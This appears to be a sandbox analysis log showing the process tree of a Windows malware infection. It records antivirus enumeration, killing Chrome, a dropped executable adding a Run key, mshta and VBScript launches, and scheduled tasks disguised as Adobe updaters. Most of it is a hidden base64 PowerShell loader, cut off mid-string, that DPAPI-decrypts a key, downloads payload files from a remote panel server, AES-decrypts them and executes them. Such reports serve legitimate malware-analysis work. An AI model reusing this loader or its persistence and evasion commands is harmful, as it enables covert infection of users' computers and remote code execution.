C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe /T6⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /PID 9612 /F6⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe /T6⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\Packages\Extensions\482B990FB9074A9DB4C0D7E22043FD077B584EEEA95FC3573D7C55D2288C0A0D-agent\downloads\255396_main.exe"\\?\C:\Users\Admin\AppData\Local\Packages\Extensions\482B990FB9074A9DB4C0D7E22043FD077B584EEEA95FC3573D7C55D2288C0A0D-agent\downloads\255396_main.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp.execlp.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingsforbestpersonforme.hta4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File update.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xujrc2fi\xujrc2fi.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8147.tmp" "c:\Users\Admin\AppData\Local\Temp\xujrc2fi\CSC3257F41166E64B1DB8ABA69D5933CA36.TMP"6⤵
-
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN AdobeBootReinstall /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN AdobeBootReinstall /SC ONSTART /RL HIGHEST /DELAY 0000:45 /F /TR "C:\ProgramData\Adobe v1.0\boot-run.cmd"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN HostPanelMonitorAgent /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN AdobeMonitorAgent /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat Update" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Create /TN "Adobe Acrobat" /SC ONLOGON /RL HIGHEST /F /TR ""C:\Windows\System32\wscript.exe" //B //Nologo "C:\Users\Admin\AppData\Local\Adobe\launch.vbs""5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /TN AdobeUpdateHelper /F5⤵
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //B //Nologo C:\Users\Admin\AppData\Local\Adobe\launch.vbs5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "JABTAGUAcgB2AGUAcgBVAHIAbAA9ACQAZQBuAHYAOgBIAFAAXwBQAEEATgBFAEwAXwBVAFIATAAKACQAUgBvAG8AdAA9ACQAZQBuAHYAOgBIAFAAXwBBAEcARQBOAFQAXwBSAE8ATwBUAAoAJABFAG4AYwBGAGkAbABlAD0AJABlAG4AdgA6AEgAUABfAEUATgBDAF8ARgBJAEwARQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgB0AHIAeQAgAHsAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABSAGUAcwBvAGwAdgBlAC0AQQBnAGUAbgB0AFIAbwBvAHQAKABbAHMAdAByAGkAbgBnAF0AJABSACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAUgAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABSACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAApACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAApACAAewAgAHIAZQB0AHUAcgBuACAAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACIAQQBkAG8AYgBlACIAKQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAFIAZQBzAG8AbAB2AGUALQBQAGEAbgBlAGwAUwBlAHIAdgBlAHIAVQByAGwAKABbAHMAdAByAGkAbgBnAF0AJABVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACQAdQAgAD0AIABpAGYAIAAoACQAVQByAGwAKQAgAHsAIAAkAFUAcgBsAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0AIABlAGwAcwBlACAAewAgACIAIgAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABQAF8AUABBAE4ARQBMAF8AVQBSAEwAKQAgAHsAIAAkAHUAIAA9ACAAJABlAG4AdgA6AEgAUABfAFAAQQBOAEUATABfAFUAUgBMAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABPAFMAVABfAFAAQQBOAEUATABfAFUAUgBMACkAIAB7ACAAJAB1ACAAPQAgACQAZQBuAHYAOgBIAE8AUwBUAF8AUABBAE4ARQBMAF8AVQBSAEwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB1ACAALQBhAG4AZAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAGYAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAIgBwAGEAbgBlAGwALgB1AHIAbAAiAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAHIAbwBtAEYAaQBsAGUAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACAALQBUAG8AdABhAGwAQwBvAHUAbgB0ACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGYAcgBvAG0ARgBpAGwAZQApACAAewAgACQAdQAgAD0AIAAkAGYAcgBvAG0ARgBpAGwAZQAuAFQAcgBpAG0AKAApAC4AVAByAGkAbQBFAG4AZAAoACIALwAiACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJAB1ACAALQBtAGEAdABjAGgAIAAnAF4AKABoAHQAdABwAHMAPwA6AC8ALwBbAF4ALwA6AF0AKwApADoAOAA4ADgAOAAoAC8ALgAqACkAPwAkACcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB1ACAAPQAgACQATQBhAHQAYwBoAGUAcwBbADEAXQAgACsAIAAkACgAaQBmACAAKAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AKQAgAHsAIAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AIAB9ACAAZQBsAHMAZQAgAHsAIAAiACIAIAB9ACkACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB1AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVQBuAHAAcgBvAHQAZQBjAHQALQBTAGUAcwBzAGkAbwBuAFMAZQBjAHIAZQB0ACgAWwBiAHkAdABlAFsAXQBdACQAQgBsAG8AYgAsACAAWwBzAHcAaQB0AGMAaABdACQATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAKQAgAHsACgAgACAAIAAgACQAcwBjAG8AcABlACAAPQAgAGkAZgAgACgAJABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQApACAAewAKACAAIAAgACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIACgAgACAAIAAgAH0ACgAgACAAIAAgACQAcABsAGEAaQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEAXQA6ADoAVQBuAHAAcgBvAHQAZQBjAHQAKAAkAEIAbABvAGIALAAgACQAbgB1AGwAbAAsACAAJABzAGMAbwBwAGUAKQAKACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBBAGUAcwBLAGUAeQBCAHkAdABlAHMAKABbAHMAdAByAGkAbgBnAF0AJABTAGUAYwByAGUAdAApACAAewAKACAAIAAgACAAJABzAGgAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAyADUANgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABzAGgAYQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAFMAZQBjAHIAZQB0AC4AVAByAGkAbQAoACkAKQApACAAfQAKACAAIAAgACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHMAaABhAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARABlAGMAcgB5AHAAdAAtAEEAZQBzAEIAbABvAGIAKABbAGIAeQB0AGUAWwBdAF0AJABSAGEAdwAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxADcAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEkAbgB2AGEAbABpAGQAIABlAG4AYwByAHkAcAB0AGUAZAAgAGIAbABvAGIALgAiACAAfQAKACAAIAAgACAAJABpAHYAIAA9ACAAJABSAGEAdwBbADAALgAuADEANQBdAAoAIAAgACAAIAAkAGUAbgBjACAAPQAgACQAUgBhAHcAWwAxADYALgAuACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdAAoAIAAgACAAIAAkAGEAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJABhAGUAcwAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKACAAIAAgACAAJABhAGUAcwAuAEsAZQB5ACAAPQAgAEcAZQB0AC0AQQBlAHMASwBlAHkAQgB5AHQAZQBzACAAJABTAGUAYwByAGUAdAAKACAAIAAgACAAJABhAGUAcwAuAEkAVgAgAD0AIAAkAGkAdgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAZABlAGMAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAIAAwACwAIAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjACkACgAgACAAIAAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAYQBlAHMALgBEAGkAcwBwAG8AcwBlACgAKQAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABVAHAAZABhAHQAZQAtAEEAZwBlAG4AdABQAGEAeQBsAG8AYQBkAHMAKABbAHMAdAByAGkAbgBnAF0AJABBAGcAZQBuAHQAUgBvAG8AdAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQgBhAHMAZQBVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAQgBhAHMAZQBVAHIAbAAgAC0AbwByACAALQBuAG8AdAAgACQAUwBlAGMAcgBlAHQAKQAgAHsAIAByAGUAdAB1AHIAbgAgAH0ACgAgACAAIAAgACQAYgBhAHMAZQAgAD0AIAAkAEIAYQBzAGUAVQByAGwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApAAoAIAAgACAAIAAkAGsAZQB5AFEAIAA9ACAAWwBVAHIAaQBdADoAOgBFAHMAYwBhAHAAZQBEAGEAdABhAFMAdAByAGkAbgBnACgAJABTAGUAYwByAGUAdAApAAoAIAAgACAAIAB0AHIAeQAgAHsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABwAGEAaQByACAAaQBuACAAQAAoAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBsAG8AYQBkAGUAcgAuAGQAYQB0AD8AawBlAHkAPQAkAGsAZQB5AFEAIgA7ACAATgBhAG0AZQAgAD0AIAAiAGwAbwBhAGQAZQByAC4AZABhAHQAIgA7ACAATQBpAG4AIAA9ACAAMwAyACAAfQAsAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBjAG8AcgBlAC4AZABhAHQAPwBrAGUAeQA9ACQAawBlAHkAUQAiADsAIABOAGEAbQBlACAAPQAgACIAYwBvAHIAZQAuAGQAYQB0ACIAOwAgAE0AaQBuACAAPQAgADMAMgAgAH0ACgAgACAAIAAgACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGUAcwB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABBAGcAZQBuAHQAUgBvAG8AdAAgACQAcABhAGkAcgAuAE4AYQBtAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAbQBwACAAPQAgACQAZABlAHMAdAAgACsAIAAiAC4AdABtAHAAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdQByAGkAIAA9ACAAJABiAGEAcwBlACAAKwAgACQAcABhAGkAcgAuAFIAZQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHQAbQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADYAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEUAQQAgAFMAdABvAHAAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAkAHAAYQBpAHIALgBNAGkAbgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAKAAkAHAAYQBpAHIALgBOAGEAbQBlACAAKwAgACIALgB0AG0AcAAiACkAKQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAdQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAHAAYQBuAGUAbAAuAHUAcgBsACIACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAHAAdQAsACAAJABiAGEAcwBlACwAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlACkAKQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAC4AcAByAGkAbQBhAHIAeQAtAGYAYQBpAGwALQBzAGkAbgBjAGUAIgApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoACgBpAGYAIAAoAC0AbgBvAHQAIAAkAFIAbwBvAHQAIAAtAGEAbgBkACAAJABlAG4AdgA6AEgAUABfAEEARwBFAE4AVABfAFIATwBPAFQAKQAgAHsAIAAkAFIAbwBvAHQAIAA9ACAAJABlAG4AdgA6AEgAUABfAEEARwBFAE4AVABfAFIATwBPAFQAIAB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABFAG4AYwBGAGkAbABlACAALQBhAG4AZAAgACQAZQBuAHYAOgBIAFAAXwBFAE4AQwBfAEYASQBMAEUAKQAgAHsAIAAkAEUAbgBjAEYAaQBsAGUAIAA9ACAAJABlAG4AdgA6AEgAUABfAEUATgBDAF8ARgBJAEwARQAgAH0ACgAkAHIAbwBvAHQAIAA9ACAAUgBlAHMAbwBsAHYAZQAtAEEAZwBlAG4AdABSAG8AbwB0ACAAJABSAG8AbwB0AAoAJABTAGUAcgB2AGUAcgBVAHIAbAAgAD0AIABSAGUAcwBvAGwAdgBlAC0AUABhAG4AZQBsAFMAZQByAHYAZQByAFUAcgBsACAAJABTAGUAcgB2AGUAcgBVAHIAbAAgACQAcgBvAG8AdAAKACQAawBlAHkARABpAHIAIAA9ACAAaQBmACAAKAAkAEUAbgBjAEYAaQBsAGUAIAAtAGEAbgBkACAAKAAkAEUAbgBjAEYAaQBsAGUAIAAtAGwAaQBrAGUAIAAiACoAYgBvAG8AdAAuAGQAYQB0ACoAIgApACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAUgBvAG8AdAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAbwBvAHQAKQApACAAewAgACQAUgBvAG8AdAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACAAIgBBAGQAbwBiAGUAIAB2ADEALgAwACIAIAB9AAoAfQAgAGUAbABzAGUAIAB7ACAAJAByAG8AbwB0ACAAfQAKAAoAJABzAGUAcwBzAGkAbwBuAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGsAZQB5AEQAaQByACAAIgBzAGUAcwBzAGkAbwBuAC4AawBlAHkAIgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcwBlAHMAcwBpAG8AbgBQAGEAdABoACkAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAHMAZQBzAHMAaQBvAG4ALgBrAGUAeQAgAG4AbwB0ACAAZgBvAHUAbgBkACIAIAB9AAoAJABzAGUAYwByAGUAdAAgAD0AIABVAG4AcAByAG8AdABlAGMAdAAtAFMAZQBzAHMAaQBvAG4AUwBlAGMAcgBlAHQAIAAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABzAGUAcwBzAGkAbwBuAFAAYQB0AGgAKQApACAALQBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQA6ACgAJABFAG4AYwBGAGkAbABlACAALQBsAGkAawBlACAAIgAqAGIAbwBvAHQALgBkAGEAdAAqACIAKQAKAAoAaQBmACAAKAAkAEUAbgBjAEYAaQBsAGUAKQAgAHsACgAgACAAIAAgACQAZQBuAGMAUABhAHQAaAAgAD0AIABpAGYAIAAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEkAcwBQAGEAdABoAFIAbwBvAHQAZQBkACgAJABFAG4AYwBGAGkAbABlACkAKQAgAHsAIAAkAEUAbgBjAEYAaQBsAGUAIAB9ACAAZQBsAHMAZQAgAHsAIABKAG8AaQBuAC0AUABhAHQAaAAgACQAawBlAHkARABpAHIAIAAkAEUAbgBjAEYAaQBsAGUAIAB9AAoAIAAgACAAIAAkAHAAbABhAGkAbgAgAD0AIABEAGUAYwByAHkAcAB0AC0AQQBlAHMAQgBsAG8AYgAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGUAbgBjAFAAYQB0AGgAKQApACAAJABzAGUAYwByAGUAdAAKACAAIAAgACAAJABiAGwAbwBjAGsAIAA9ACAAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAbABhAGkAbgApAAoAIAAgACAAIAAmACAAJABiAGwAbwBjAGsACgAgACAAIAAgAGUAeABpAHQAIAAwAAoAfQAKAAoAIwAgAFIAZQBmAHIAZQBzAGgAIABsAG8AYQBkAGUAcgAvAGMAbwByAGUAIABmAHIAbwBtACAAcABhAG4AZQBsACAAcwBvACAAbwBsAGQAIABQAEMAcwAgAHAAaQBjAGsAIAB1AHAAIABmAGkAeABlAHMAIAB3AGkAdABoAG8AdQB0ACAAZgB1AGwAbAAgAHIAZQBpAG4AcwB0AGEAbABsAAoAdAByAHkAIAB7ACAAVQBwAGQAYQB0AGUALQBBAGcAZQBuAHQAUABhAHkAbABvAGEAZABzACAAJAByAG8AbwB0ACAAJABTAGUAcgB2AGUAcgBVAHIAbAAgACQAcwBlAGMAcgBlAHQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoACgAkAGwAbwBhAGQAZQByAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHIAbwBvAHQAIAAiAGwAbwBhAGQAZQByAC4AZABhAHQAIgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAbABvAGEAZABlAHIAUABhAHQAaAApACkAIAB7ACAAdABoAHIAbwB3ACAAIgBsAG8AYQBkAGUAcgAuAGQAYQB0ACAAbgBvAHQAIABmAG8AdQBuAGQAIgAgAH0ACgAkAGwAbwBhAGQAZQByAFAAbABhAGkAbgAgAD0AIABEAGUAYwByAHkAcAB0AC0AQQBlAHMAQgBsAG8AYgAg